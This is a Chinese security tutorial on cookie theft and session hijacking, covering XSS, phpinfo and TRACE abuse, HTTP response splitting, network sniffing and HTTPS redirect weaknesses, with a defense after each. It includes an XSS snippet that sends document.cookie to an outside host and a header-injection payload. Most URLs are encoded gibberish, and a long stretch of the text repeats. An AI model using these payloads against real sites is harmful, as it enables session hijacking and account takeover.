-
-
Cookie 窃取和 Session 劫持
-
发表于: 2014-8-29 14:19
-
新闻链接：6bfK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4y4Z5j5h3!0K6K9s2g2S2K9g2)9J5k6h3#2W2i4K6u0r3N6r3g2U0K9q4)9J5c8U0t1H3x3e0c8Q4x3V1j5H3z5q4)9J5c8U0p5$3i4K6u0r3j5$3!0G2K9$3W2W2i4K6u0V1N6r3S2W2k6Y4c8Q4x3X3c8S2L8X3c8Q4x3X3c8K6k6i4y4K6K9h3!0F1i4K6u0V1K9r3W2B7j5h3y4C8K9h3&6Y4i4K6u0W2K9s2c8E0L8l9`.`.
新闻时间：2014-08-16 10:08
新闻正文：
Updates
2014-08-17 感谢@搞前端的crosser的提醒，加入了HTTP Response Splitting的内容。
此篇文章的Presentation戳这里。
一、cookie的基本特性
如果不了解cookie，可以先到wikipedia上学习一下。
http request
浏览器向服务器发起的每个请求都会带上cookie：
GET /index.html HTTP/1.1
Host: 93bK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3g2^5j5h3#2H3L8r3g2Q4x3X3g2G2M7X3M7`.
Cookie: foo=value1;bar=value2
Accept: */*
http response
服务器给浏览器的返回可以设置cookie：
HTTP/1.1 200 OK
Content-type: text/html
Set-Cookie: name=value
Set-Cookie: name2=value2; Expires=Wed,09 June 2021 10:18:32 GMT
(content of page)
二、cookie有关的术语
session cookie
当cookie没有设置超时时间，那么cookie会在浏览器退出时销毁，这种cookie是session cookie。
persistent cookie/tracking cookie
设置了超时时间的cookie，会在指定时间销毁，cookie的维持时间可以持续到浏览器退出之后，这种cookie被持久化在浏览器中。
很多站点用cookie跟踪用户的历史记录，例如广告类站点会使用cookie记录浏览过哪些内容，搜索引擎会使用cookie记录历史搜索记录，这时也可以称作tracking cookie，因为它被用于追踪用户行为。
secure cookie
服务器端设置cookie的时候，可以指定secure属性，这时cookie只有通过https协议传输的时候才会带到网络请求中，不加密的http请求不会带有secure cookie。
设置secure cookie的方式举例：
Set-Cookie: foo=bar; Path=/; Secure
HttpOnly cookie
服务器端设置cookie的时候，也可以指定一个HttpOnly属性。
Set-Cookie: foo=bar; Path=/; HttpOnly
设置了这个属性的cookie在javascript中无法获取到，只会在网络传输过程中带到服务器。
third-party cookie
第三方cookie的使用场景通常是iframe，例如8eeK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3q4Q4x3X3g2U0L8$3#2Q4c8e0k6Q4b7V1c8Q4z5f1y4Q4c8e0g2Q4z5o6g2Q4b7e0g2Q4c8e0c8Q4b7V1q4Q4z5o6k6Q4c8e0c8Q4b7U0S2Q4z5o6m8Q4c8e0c8Q4b7U0S2Q4b7f1q4%4N6%4N6Q4x3X3g2S2k6q4)9J5k6h3y4G2L8g2!0q4y4#2)9&6b7g2)9^5y4q4!0q4y4g2!0n7z5g2!0n7c8W2!0q4y4g2)9&6x3g2)9^5b7h3W2X3M7X3q4E0k6g2!0q4c8W2!0n7b7#2)9^5b7#2!0q4z5g2)9^5x3W2!0m8x3#2!0q4y4q4!0n7z5g2)9^5z5s2N6%4N6#2)9J5k6h3q4V1i4K6u0W2j5$3!0E0i4@1f1^5i4@1q4q4i4@1u0q4i4@1f1%4i4@1u0p5i4@1q4q4i4@1f1%4i4K6W2m8i4K6R3@1j5$3!0G2K9$3W2W2i4@1f1#2i4@1t1I4i4K6W2q4i4@1f1@1i4@1u0m8i4K6S2q4i4@1f1@1i4@1t1^5i4K6S2p5i4@1f1#2i4@1t1I4i4K6W2q4i4@1f1@1i4@1u0m8i4K6S2q4N6%4N6%4i4K6u0W2j5g2)9J5k6h3y4G2L8g2!0q4c8W2!0n7b7#2)9^5b7#2!0q4z5q4!0m8x3W2!0m8b7W2!0q4y4#2!0m8y4#2!0n7x3q4!0q4y4q4!0n7c8q4)9&6b7#2!0q4y4#2!0m8b7#2!0m8b7#2!0q4y4q4!0n7z5q4)9^5z5g2!0q4y4W2)9&6y4W2!0n7z5h3y4G2L8$3E0A6k6g2!0q4x3#2)9^5x3q4)9^5x3R3`.`.
supercookie
cookie会从属于一个域名，例如a27K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3q4Q4x3X3g2U0L8$3#2Q4c8f1k6Q4b7V1y4Q4z5p5y4Q4c8e0k6Q4z5o6S2Q4z5e0k6Q4c8e0S2Q4z5o6m8Q4z5o6g2Q4c8e0g2Q4b7U0q4Q4z5f1g2Q4c8e0c8Q4b7V1q4Q4z5p5g2Q4c8e0c8Q4b7U0S2Q4z5o6m8Q4c8e0c8Q4b7U0S2Q4b7f1q4Q4c8e0g2Q4b7f1c8Q4z5e0m8Q4c8e0g2Q4z5f1k6Q4z5f1k6Q4c8f1k6Q4b7V1y4Q4z5p5y4Q4c8e0c8Q4b7V1g2Q4z5p5u0Q4c8e0g2Q4b7e0k6Q4z5o6u0T1i4K6u0W2j5g2)9J5k6h3y4G2L8g2!0q4x3#2)9^5x3q4)9^5x3W2!0q4y4q4!0n7c8q4)9^5y4W2!0q4y4W2)9&6z5q4!0m8c8W2!0q4y4g2!0m8y4W2)9^5x3W2!0q4y4W2)9&6c8g2)9&6b7$3y4G2L8$3E0A6k6g2!0q4z5q4!0m8x3W2!0m8b7W2!0q4y4g2!0m8x3#2!0n7x3q4!0q4y4W2)9&6z5q4)9^5c8g2!0q4y4q4!0n7z5q4!0n7b7g2!0q4y4g2!0n7x3g2)9&6c8g2!0q4y4q4!0n7b7g2)9^5c8g2)9J5k6h3y4G2L8g2!0q4y4q4!0n7b7#2)9&6b7g2!0q4y4g2)9^5c8W2)9&6x3g2!0q4y4#2)9&6y4q4)9&6c8W2!0q4y4q4!0n7b7W2)9^5x3q4!0q4y4q4!0n7z5g2)9^5z5q4!0q4c8W2!0n7b7#2)9&6c8W2!0q4z5q4!0n7c8W2)9&6z5g2!0q4y4q4!0n7z5q4!0m8b7h3y4G2L8$3E0A6k6g2!0q4y4q4!0n7b7#2)9&6b7g2!0q4y4g2)9&6b7#2!0m8z5q4!0q4y4q4!0n7b7W2!0n7b7W2!0q4y4q4!0n7c8q4)9&6y4g2)9J5k6h3y4G2L8g2!0q4y4g2)9&6c8W2)9&6c8W2!0q4y4g2)9&6x3q4)9^5c8q4!0q4y4#2)9&6y4q4)9&6c8W2!0q4y4W2)9&6y4g2)9^5z5q4!0q4x3#2)9^5x3q4)9^5x3W2!0q4z5q4!0n7c8W2)9&6z5g2!0q4y4W2)9&6b7#2)9^5z5g2!0q4y4g2!0n7c8g2)9^5z5q4!0q4y4g2!0m8y4q4!0m8y4#2!0q4y4#2)9&6b7g2)9^5y4q4!0q4y4g2!0m8c8g2)9^5z5g2!0q4y4g2)9^5y4g2!0m8z5q4!0q4y4W2)9^5x3q4!0m8y4#2!0q4z5g2)9&6y4#2!0m8c8g2!0q4z5g2!0m8x3W2)9&6z5q4!0q4x3#2)9^5x3q4)9^5x3W2!0q4z5q4!0n7c8W2)9&6z5g2!0q4y4#2!0m8y4#2)9^5c8r3y4G2L8$3E0A6k6g2!0q4z5q4!0m8x3W2!0m8b7W2!0q4y4#2!0m8y4#2!0n7x3q4!0q4y4q4!0n7c8q4)9&6b7%4y4#2M7r3g2J5j5$3!0G2K9$3W2W2i4@1f1K6i4K6R3H3i4K6R3J5
浏览器做出了限制，不允许设置顶级域名cookie(例如.com，.net)和pubic suffix cookie(例如.co.uk，.com.cn)。
现代主流浏览器都很好的处理了supercookie问题，但是如果有些第三方浏览器使用的顶级域名和public suffix列表有问题，那么就可以针对supercookie进行攻击啦。
zombie cookie/evercookie
僵尸cookie是指当用户通过浏览器的设置清除cookie后可以自动重新创建的cookie。原理是通过使用多重技术记录同样的内容(例如flash，silverlight)，当cookie被删除时，从其他存储中恢复。
evercookie是实现僵尸cookie的主要技术手段。
了解僵尸cookie和evercookie。
三、cookie有什么用
通常cookie有三种主要的用途。
session管理
http协议本身是是无状态的，但是现代站点很多都需要维持登录态，也就是维持会话。最基本的维持会话的方式是Base Auth，但是这种方式，用户名和密码在每次请求中都会以明文的方式发送到客户端，很容易受到中间人攻击，存在很大的安全隐患。
所以现在大多数站点采用基于cookie的session管理方式：
用户登陆成功后，设置一个唯一的cookie标识本次会话，基于这个标识进行用户授权。只要请求中带有这个标识，都认为是登录态。
个性化
cookie可以被用于记录一些信息，以便于在后续用户浏览页面时展示相关内容。典型的例子是购物站点的购物车功能。
以前Google退出的iGoogle产品也是一个典型的例子，用户可以拥有自己的Google自定制主页，其中就使用了cookie。
user tracking
cookie也可以用于追踪用户行为，例如是否访问过本站点，有过哪些操作等。
四、cookie窃取和session劫持
本文就cookie的三种用途中session管理的安全问题进行展开。
既然cookie用于维持会话，如果这个cookie被攻击者窃取会发生什么？session被劫持！
攻击者劫持会话就等于合法登录了你的账户，可以浏览大部分用户资源。
最基本的cookie窃取方式：xss漏洞
攻击
一旦站点中存在可利用的xss漏洞，攻击者可直接利用注入的js脚本获取cookie，进而通过异步请求把标识session id的cookie上报给攻击者。
var img = document.createElement('img');
img.src = '96dK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3g2$3K9h3I4Q4x3X3c8#2M7X3I4Q4x3@1k6U0i4K6y4p5i4K6t1%4i4K6t1$3L8X3u0K6M7q4)9K6b7W2)9J5b7W2)9J5y4X3&6T1M7%4m8Q4x3@1u0W2L8X3y4G2k6r3g2g2f1V1W2o6L8$3#2H3L8$3&6W2L8Y4c8Q4x3U0S2V1L8$3y4#2L8h3g2F1N6q4)9J5k6h3y4G2L8$3E0A6k6g2)9J5z5g2)9K6b7R3`.`.
document.getElementsByTagName('body')[0].appendChild(img);
如何寻找XSS漏洞是另外一个话题了，自行google之。
防御
根据上面HttpOnly cookie的介绍，一旦一个cookie被设置为HttpOnly，js脚本就无法再获取到，而网络传输时依然会带上。也就是说依然可以依靠这个cookie进行session维持，但客户端js对其不可见。那么即使存在xss漏洞也无法简单的利用其进行session劫持攻击了。
但是上面说的是无法利用xss进行简单的攻击，但是也不是没有办法的。既然无法使用document.cookie获取到，可以转而通过其他的方式。下面介绍两种xss结合其他漏洞的攻击方式。
xss结合phpinfo页面
攻击
大家都知道，利用php开发的应用会有一个phpinfo页面。而这个页面会dump出请求信息，其中就包括cookie信息。
如果开发者没有关闭这个页面，就可以利用xss漏洞向这个页面发起异步请求，获取到页面内容后parse出cookie信息，然后上传给攻击者。
phpinfo只是大家最常见的一种dump请求的页面，但不仅限于此，为了调试方便，任何dump请求的页面都是可以被利用的漏洞。
防御
关闭所有phpinfo类dump request信息的页面。
XSS + HTTP TRACE = XST
这是一种古老的攻击方式，现在已经消失，写在这里可以扩展一下攻防思路。
http trace是让我们的web服务器将客户端的所有请求信息返回给客户端的方法。其中包含了HttpOnly的cookie。如果利用xss异步发起trace请求，又可以获取session信息了。
之所以说是一种古老的攻击方式，因为现代浏览器考虑到XST的危害都禁止了异步发起trace请求。
另外提一点，当浏览器没有禁止异步发起trace的时代，很多开发者都关闭了web server的trace支持来防御XST攻击。但攻击者在特定的情况下还可以绕过，用户使用了代理服务器，而代理服务器没有关闭trace支持，这样又可以trace了。
HTTP Response Splitting
参考1
参考2
通常的XSS攻击都是把输入内容注入到response的content中，HTTP Response Splitting是一种针对header的注入。
例如，一个站点接受参数做302跳转：
98dK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3g2^5j5h3#2H3L8r3g2Q4x3X3g2U0L8$3#2Q4x3V1k6Q4x3@1k6J5i4K6y4p5K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3u0S2K9h3c8#2i4K6u0W2j5$3!0E0
request信息：
GET /example.com?r=069K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3u0S2K9h3c8#2i4K6u0W2j5$3!0E0i4K6g2o6M7W2)9#2b7$3^5`.
HTTP/1.1\r\n
Host: example.com\r\n
\r\n
response:
HTTP/1.1 302 Found\r\n
Location: 4caK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3u0S2K9h3c8#2i4K6u0W2j5$3!0E0i4K6g2o6M7W2)9#2b7$3^5`.
Content-Type: text/html\r\n
\r\n
这样页面就302跳转到百度了。攻击者利用r参数可以注入header，r参数不是简单的url，而是包含\r\n的header信息：
cedK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3g2^5j5h3#2H3L8r3g2Q4x3X3g2U0L8$3#2Q4x3V1k6Q4x3@1k6J5i4K6y4p5i4K6t1#2x3r3c8Q4x3U0f1H3j5f1S2f1g2q4m8Q4x3V1j5I4i4K6u0W2x3g2)9J5y4e0t1H3x3U0l9H3i4K6t1#2x3U0m8a6d9#2)9J5y4e0m8V1i4K6t1#2x3r3q4o6L8$3&6@1k6h3&6@1i4K6u0V1g2s2W2H3k6g2)9K6b7g2)9J5y4e0t1H3N6r3g2^5N6q4)9J5c8X3S2@1L8h3I4Q4x3U0f1H3k6q4)9J5y4e0m8S2h3q4)9J5k6q4S2e0f1#2)9J5k6q4m8J5L8%4c8W2j5%4c8A6L8$3&6Q4x3@1q4Q4x3U0f1J5x3o6m8Q4x3U0f1H3k6q4)9J5y4e0m8S2i4K6t1#2x3r3c8Q4x3U0f1H3j5g2)9J5y4e0y4o6K9s2c8E0L8q4)9J5y4e0y4q4i4K6t1#2x3@1y4K6j5%4u0A6M7s2c8Q4x3U0f1K6c8h3q4D9k6i4u0@1i4K6t1^5k6r3!0U0N6h3#2W2L8Y4c8Q4x3X3g2U0L8$3!0C8K9h3g2Q4x3U0W2Q4x3U0f1K6b7#2)9J5c8Y4y4U0M7X3W2H3N6q4)9J5y4e0y4q4i4K6t1#2x3@1y4Z5x3g2)9J5y4e0y4q4c8r3g2X3j5h3y4W2k6q4)9J5x3g2)9J5y4e0y4o6i4K6u0r3K9o6q4Q4x3U0f1K6c8g2)9J5y4e0y4o6i4K6u0r3K9s2c8E0L8q4)9J5y4e0y4q4
response变成了：
HTTP/1.1 302 Found\r\n
Location: \r\n
HTTP/1.1 200 OK\r\n
Content-Type: text/html\r\n
X-XSS-Protection: 0\r\n
<html><script>alert(document.cookie)</script><h1>Defaced!</h1></html>
Content-Type: text/html\r\n
\r\n
有两个攻击要点：
指定X=XSS-Protection: 0 ，关闭浏览器的xss保护机制。
注入脚本
防御
针对header的内容做过滤，不能漏掉\r\n，特别是Location，host，referrer等。
说到底，这也是一种XSS攻击，只是攻击方式与普通的不太一样。针对header的攻击还可以做SQL注入等，防御的原则是对所有的输入进行sanitize，包括非用户输入的内容，比如referrer这种一般由浏览器带过来的信息，因为请求完全可以被伪造，未必来自浏览器。
网络监听(network eavesdropping/network sniffing)
以上是利用上层应用的特性的几种攻击方式，cookie不仅存在于上层应用中，更流转于请求中。上层应用获取不到后，攻击者可以转而从网络请求中获取。
只要是未使用https加密的网站都可以抓包分析，其中就包含了标识session的cookie。当然，完成网络监听需要满足一定的条件，这又是另外一个话题了。常见的方式：
DNS缓存投毒
攻击者把要攻击的域名的一个子域映射到攻击者的server，然后想办法让被攻击者访问这个server(XSS request、社会化攻击等)，请求中会带过来所有cookie（包括HttpOnly）。
中间人攻击
常见的攻击方式是搭建免费wifi，把DHCP服务器指定为攻击者ip，在攻击者机器上可以收到所有请求，不仅可以获取cookie，还可以进行脚本注入。
代理服务器/VPN
翻墙用免费VPN？呵呵。
防御
使用https。使用https协议的请求都被ssl加密，理论上不可破解，即便被网络监听也无法通过解密看到实际的内容。
防御网络监听通常有两种方式：
信道加密
内容加密
https是加密信道，在此信道上传输的内容对中间人都是不可见的。但https是有成本的。
内容加密比较好理解，例如对password先加密再传输。但是对于标识session的cookie这种标识性信息是无法通过内容加密得到保护的。
那么，使用https的站点就可以高枕无忧了吗？事实上，一些细节上的处理不当同样会暴露出攻击风险。
https站点攻击：双协议
如果同时支持http和https，那么还是可以使用网络监听http请求获取cookie。
防御
只支持https，不支持http。
这样就好了吗？No.
https站点攻击：301重定向
例如be2K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3g2^5j5h3#2H3L8r3g2Q4x3X3g2U0L8$3#2Q4c8e0g2Q4z5p5k6Q4b7f1q4Q4c8e0k6Q4z5e0c8Q4b7f1k6Q4c8e0k6Q4z5p5y4Q4z5o6q4Z5N6s2c8H3M7#2!0q4y4g2)9^5c8q4)9^5c8W2!0q4z5q4!0m8c8g2!0m8c8g2!0q4c8W2!0n7b7#2)9^5b7#2!0q4y4g2!0n7c8q4)9&6x3#2!0q4y4#2)9&6y4q4!0m8z5q4!0q4y4W2)9^5z5q4!0n7y4#2!0q4y4#2)9&6b7W2!0n7y4q4!0q4y4W2)9^5c8g2!0m8y4g2!0q4z5q4!0n7c8g2)9&6x3#2!0q4y4g2)9^5y4g2!0m8y4h3g2^5j5h3#2H3L8r3g2Q4x3X3g2U0L8$3#2Q4c8f1k6Q4b7V1y4Q4z5o6S2Q4c8e0g2Q4b7e0c8Q4b7e0N6Q4c8e0W2Q4z5o6y4Q4b7e0S2Q4c8e0g2Q4z5o6S2Q4z5o6k6Q4c8e0N6Q4z5e0c8Q4b7e0S2Q4c8e0k6Q4z5o6S2Q4b7U0N6Q4c8e0W2Q4z5o6y4Q4b7V1c8Q4c8e0c8Q4b7U0S2Q4z5p5c8Q4c8e0c8Q4b7V1y4Q4z5f1q4Q4c8e0k6Q4z5o6W2Q4z5p5u0Q4c8e0g2Q4z5p5q4Q4b7e0S2Q4c8e0S2Q4b7V1g2Q4z5e0y4Q4c8e0g2Q4z5o6g2Q4b7e0g2Q4c8e0g2Q4z5p5c8Q4z5p5k6Q4c8e0S2Q4b7f1g2Q4b7f1g2Q4c8e0g2Q4z5o6W2Q4z5p5c8Q4c8e0N6Q4b7V1y4Q4z5o6m8Q4c8f1k6Q4b7V1y4Q4z5o6W2Q4c8f1k6Q4b7V1y4Q4z5p5y4%4k6h3u0Q4x3U0k6F1j5Y4y4H3i4K6y4n7M7$3g2J5N6X3g2J5i4@1f1&6i4K6R3H3i4K6W2m8i4@1f1#2i4@1t1^5i4@1t1^5i4@1f1%4i4K6W2m8i4K6R3@1i4@1f1#2i4@1p5@1i4K6R3@1i4@1f1%4i4K6V1H3i4K6R3$3i4@1f1$3i4K6V1^5i4@1q4r3i4@1f1^5i4@1u0r3i4K6V1@1i4@1f1#2i4K6W2n7i4K6W2q4x3K6l9I4i4@1f1^5i4@1p5$3i4K6R3I4i4@1f1$3i4@1t1I4i4K6R3J5i4@1f1$3i4@1t1#2i4K6S2r3i4@1f1^5i4@1p5%4i4K6R3^5i4@1f1#2i4K6V1&6i4@1p5^5i4@1f1&6i4K6R3%4i4K6S2p5i4@1f1#2i4@1q4q4i4K6W2m8i4@1f1#2i4K6V1H3i4K6V1I4i4@1f1#2i4K6R3^5i4@1t1H3K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2W2P5r3q4E0M7r3I4W2i4K6u0W2j5$3!0E0i4@1f1K6i4K6R3H3i4K6R3J5i4@1f1^5i4@1u0r3i4K6V1&6i4@1f1$3i4@1q4o6i4@1p5I4x3K6l9I4i4@1f1^5i4@1q4r3i4@1t1%4i4@1f1$3i4@1t1I4i4K6R3J5i4@1f1$3i4K6V1^5i4@1q4r3K9s2c8@1M7q4!0q4y4#2)9&6b7g2)9^5y4q4!0q4c8W2!0n7b7#2)9^5x3g2!0q4z5q4)9^5x3q4)9^5b7#2!0q4y4q4!0n7z5q4)9&6y4q4!0q4y4g2!0n7z5q4!0m8y4W2!0q4y4q4!0n7b7g2)9^5y4X3y4G2L8$3E0A6k6g2!0q4c8W2!0n7b7#2)9^5b7#2!0q4z5q4!0n7c8W2)9&6z5g2!0q4y4W2!0m8x3q4!0n7y4#2!0q4y4g2)9^5c8W2)9^5z5q4!0q4y4g2!0n7x3q4)9^5y4X3y4G2L8$3E0A6k6g2!0q4y4W2)9&6z5q4)9^5c8g2!0q4y4W2)9&6y4W2)9^5y4#2!0q4y4W2)9&6b7g2!0n7y4q4!0q4z5g2)9&6b7#2!0n7x3W2!0q4y4g2)9&6b7#2!0m8z5q4!0q4y4#2!0n7c8q4)9&6x3g2!0q4y4#2!0n7b7W2)9&6b7#2!0q4y4q4!0n7z5q4)9^5b7g2!0q4y4q4!0n7b7g2)9^5y4W2!0q4x3#2)9^5x3q4)9^5x3R3`.`.
防御1
把标识session的cookie设置成secure。上面提到的secure cookie，只允许在https上加密传输，在http请求中不会存在，这样就不会暴露在未加密的网络上了。
然后现实很残酷，很多站点根本无法做到所有的请求都走https。原因有很多，可能是成本考虑，可能是业务需求。
防御2
设置Strict-Transport-Security header，直接省略这个http请求！用户首次访问后，服务器设置了这个header以后，后面就会省略掉这次http 301请求。更多点此
乌云案例
思考
如果偷取cookie失败，无法session劫持，攻击者如何再发起攻击？
劫持session的目的是拿到登录态，从而获得服务器授权做很多请求，例如账户变更。如果劫持不到session，也能够做授权请求不是也达到攻击的目的了？
无需拿到session cookie，跨站发起请求就可以了，这就是CSRF！
server通过把用户凭证存储在cookie以维持session，http/https协议每次访问都会自动传输cookie，协议上的缺陷是导致可进行CSRF攻击的根本原因！
防御方式：使用anti-forgery token
大部分攻击都是提权行为，最基本的提权通过偷取用户名密码，不成功转而窃取session，窃取不成转而跨站攻击，实在不行重放也可以造成危害
新闻时间：2014-08-16 10:08
新闻正文：
Updates
2014-08-17 感谢@搞前端的crosser的提醒，加入了HTTP Response Splitting的内容。
此篇文章的Presentation戳这里。
一、cookie的基本特性
如果不了解cookie，可以先到wikipedia上学习一下。
http request
浏览器向服务器发起的每个请求都会带上cookie：
GET /index.html HTTP/1.1
Host: 93bK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3g2^5j5h3#2H3L8r3g2Q4x3X3g2G2M7X3M7`.
Cookie: foo=value1;bar=value2
Accept: */*
http response
服务器给浏览器的返回可以设置cookie：
HTTP/1.1 200 OK
Content-type: text/html
Set-Cookie: name=value
Set-Cookie: name2=value2; Expires=Wed,09 June 2021 10:18:32 GMT
(content of page)
二、cookie有关的术语
session cookie
当cookie没有设置超时时间，那么cookie会在浏览器退出时销毁，这种cookie是session cookie。
persistent cookie/tracking cookie
设置了超时时间的cookie，会在指定时间销毁，cookie的维持时间可以持续到浏览器退出之后，这种cookie被持久化在浏览器中。
很多站点用cookie跟踪用户的历史记录，例如广告类站点会使用cookie记录浏览过哪些内容，搜索引擎会使用cookie记录历史搜索记录，这时也可以称作tracking cookie，因为它被用于追踪用户行为。
secure cookie
服务器端设置cookie的时候，可以指定secure属性，这时cookie只有通过https协议传输的时候才会带到网络请求中，不加密的http请求不会带有secure cookie。
设置secure cookie的方式举例：
Set-Cookie: foo=bar; Path=/; Secure
HttpOnly cookie
服务器端设置cookie的时候，也可以指定一个HttpOnly属性。
Set-Cookie: foo=bar; Path=/; HttpOnly
设置了这个属性的cookie在javascript中无法获取到，只会在网络传输过程中带到服务器。
third-party cookie
第三方cookie的使用场景通常是iframe，例如8eeK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3q4Q4x3X3g2U0L8$3#2Q4c8e0k6Q4b7V1c8Q4z5f1y4Q4c8e0g2Q4z5o6g2Q4b7e0g2Q4c8e0c8Q4b7V1q4Q4z5o6k6Q4c8e0c8Q4b7U0S2Q4z5o6m8Q4c8e0c8Q4b7U0S2Q4b7f1q4%4N6%4N6Q4x3X3g2S2k6q4)9J5k6h3y4G2L8g2!0q4y4#2)9&6b7g2)9^5y4q4!0q4y4g2!0n7z5g2!0n7c8W2!0q4y4g2)9&6x3g2)9^5b7h3W2X3M7X3q4E0k6g2!0q4c8W2!0n7b7#2)9^5b7#2!0q4z5g2)9^5x3W2!0m8x3#2!0q4y4q4!0n7z5g2)9^5z5s2N6%4N6#2)9J5k6h3q4V1i4K6u0W2j5$3!0E0i4@1f1^5i4@1q4q4i4@1u0q4i4@1f1%4i4@1u0p5i4@1q4q4i4@1f1%4i4K6W2m8i4K6R3@1j5$3!0G2K9$3W2W2i4@1f1#2i4@1t1I4i4K6W2q4i4@1f1@1i4@1u0m8i4K6S2q4i4@1f1@1i4@1t1^5i4K6S2p5i4@1f1#2i4@1t1I4i4K6W2q4i4@1f1@1i4@1u0m8i4K6S2q4N6%4N6%4i4K6u0W2j5g2)9J5k6h3y4G2L8g2!0q4c8W2!0n7b7#2)9^5b7#2!0q4z5q4!0m8x3W2!0m8b7W2!0q4y4#2!0m8y4#2!0n7x3q4!0q4y4q4!0n7c8q4)9&6b7#2!0q4y4#2!0m8b7#2!0m8b7#2!0q4y4q4!0n7z5q4)9^5z5g2!0q4y4W2)9&6y4W2!0n7z5h3y4G2L8$3E0A6k6g2!0q4x3#2)9^5x3q4)9^5x3R3`.`.
supercookie
cookie会从属于一个域名，例如a27K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3q4Q4x3X3g2U0L8$3#2Q4c8f1k6Q4b7V1y4Q4z5p5y4Q4c8e0k6Q4z5o6S2Q4z5e0k6Q4c8e0S2Q4z5o6m8Q4z5o6g2Q4c8e0g2Q4b7U0q4Q4z5f1g2Q4c8e0c8Q4b7V1q4Q4z5p5g2Q4c8e0c8Q4b7U0S2Q4z5o6m8Q4c8e0c8Q4b7U0S2Q4b7f1q4Q4c8e0g2Q4b7f1c8Q4z5e0m8Q4c8e0g2Q4z5f1k6Q4z5f1k6Q4c8f1k6Q4b7V1y4Q4z5p5y4Q4c8e0c8Q4b7V1g2Q4z5p5u0Q4c8e0g2Q4b7e0k6Q4z5o6u0T1i4K6u0W2j5g2)9J5k6h3y4G2L8g2!0q4x3#2)9^5x3q4)9^5x3W2!0q4y4q4!0n7c8q4)9^5y4W2!0q4y4W2)9&6z5q4!0m8c8W2!0q4y4g2!0m8y4W2)9^5x3W2!0q4y4W2)9&6c8g2)9&6b7$3y4G2L8$3E0A6k6g2!0q4z5q4!0m8x3W2!0m8b7W2!0q4y4g2!0m8x3#2!0n7x3q4!0q4y4W2)9&6z5q4)9^5c8g2!0q4y4q4!0n7z5q4!0n7b7g2!0q4y4g2!0n7x3g2)9&6c8g2!0q4y4q4!0n7b7g2)9^5c8g2)9J5k6h3y4G2L8g2!0q4y4q4!0n7b7#2)9&6b7g2!0q4y4g2)9^5c8W2)9&6x3g2!0q4y4#2)9&6y4q4)9&6c8W2!0q4y4q4!0n7b7W2)9^5x3q4!0q4y4q4!0n7z5g2)9^5z5q4!0q4c8W2!0n7b7#2)9&6c8W2!0q4z5q4!0n7c8W2)9&6z5g2!0q4y4q4!0n7z5q4!0m8b7h3y4G2L8$3E0A6k6g2!0q4y4q4!0n7b7#2)9&6b7g2!0q4y4g2)9&6b7#2!0m8z5q4!0q4y4q4!0n7b7W2!0n7b7W2!0q4y4q4!0n7c8q4)9&6y4g2)9J5k6h3y4G2L8g2!0q4y4g2)9&6c8W2)9&6c8W2!0q4y4g2)9&6x3q4)9^5c8q4!0q4y4#2)9&6y4q4)9&6c8W2!0q4y4W2)9&6y4g2)9^5z5q4!0q4x3#2)9^5x3q4)9^5x3W2!0q4z5q4!0n7c8W2)9&6z5g2!0q4y4W2)9&6b7#2)9^5z5g2!0q4y4g2!0n7c8g2)9^5z5q4!0q4y4g2!0m8y4q4!0m8y4#2!0q4y4#2)9&6b7g2)9^5y4q4!0q4y4g2!0m8c8g2)9^5z5g2!0q4y4g2)9^5y4g2!0m8z5q4!0q4y4W2)9^5x3q4!0m8y4#2!0q4z5g2)9&6y4#2!0m8c8g2!0q4z5g2!0m8x3W2)9&6z5q4!0q4x3#2)9^5x3q4)9^5x3W2!0q4z5q4!0n7c8W2)9&6z5g2!0q4y4#2!0m8y4#2)9^5c8r3y4G2L8$3E0A6k6g2!0q4z5q4!0m8x3W2!0m8b7W2!0q4y4#2!0m8y4#2!0n7x3q4!0q4y4q4!0n7c8q4)9&6b7%4y4#2M7r3g2J5j5$3!0G2K9$3W2W2i4@1f1K6i4K6R3H3i4K6R3J5
浏览器做出了限制，不允许设置顶级域名cookie(例如.com，.net)和pubic suffix cookie(例如.co.uk，.com.cn)。
现代主流浏览器都很好的处理了supercookie问题，但是如果有些第三方浏览器使用的顶级域名和public suffix列表有问题，那么就可以针对supercookie进行攻击啦。
zombie cookie/evercookie
僵尸cookie是指当用户通过浏览器的设置清除cookie后可以自动重新创建的cookie。原理是通过使用多重技术记录同样的内容(例如flash，silverlight)，当cookie被删除时，从其他存储中恢复。
evercookie是实现僵尸cookie的主要技术手段。
了解僵尸cookie和evercookie。
三、cookie有什么用
通常cookie有三种主要的用途。
session管理
http协议本身是是无状态的，但是现代站点很多都需要维持登录态，也就是维持会话。最基本的维持会话的方式是Base Auth，但是这种方式，用户名和密码在每次请求中都会以明文的方式发送到客户端，很容易受到中间人攻击，存在很大的安全隐患。
所以现在大多数站点采用基于cookie的session管理方式：
用户登陆成功后，设置一个唯一的cookie标识本次会话，基于这个标识进行用户授权。只要请求中带有这个标识，都认为是登录态。
个性化
cookie可以被用于记录一些信息，以便于在后续用户浏览页面时展示相关内容。典型的例子是购物站点的购物车功能。
以前Google退出的iGoogle产品也是一个典型的例子，用户可以拥有自己的Google自定制主页，其中就使用了cookie。
user tracking
cookie也可以用于追踪用户行为，例如是否访问过本站点，有过哪些操作等。
四、cookie窃取和session劫持
本文就cookie的三种用途中session管理的安全问题进行展开。
既然cookie用于维持会话，如果这个cookie被攻击者窃取会发生什么？session被劫持！
攻击者劫持会话就等于合法登录了你的账户，可以浏览大部分用户资源。
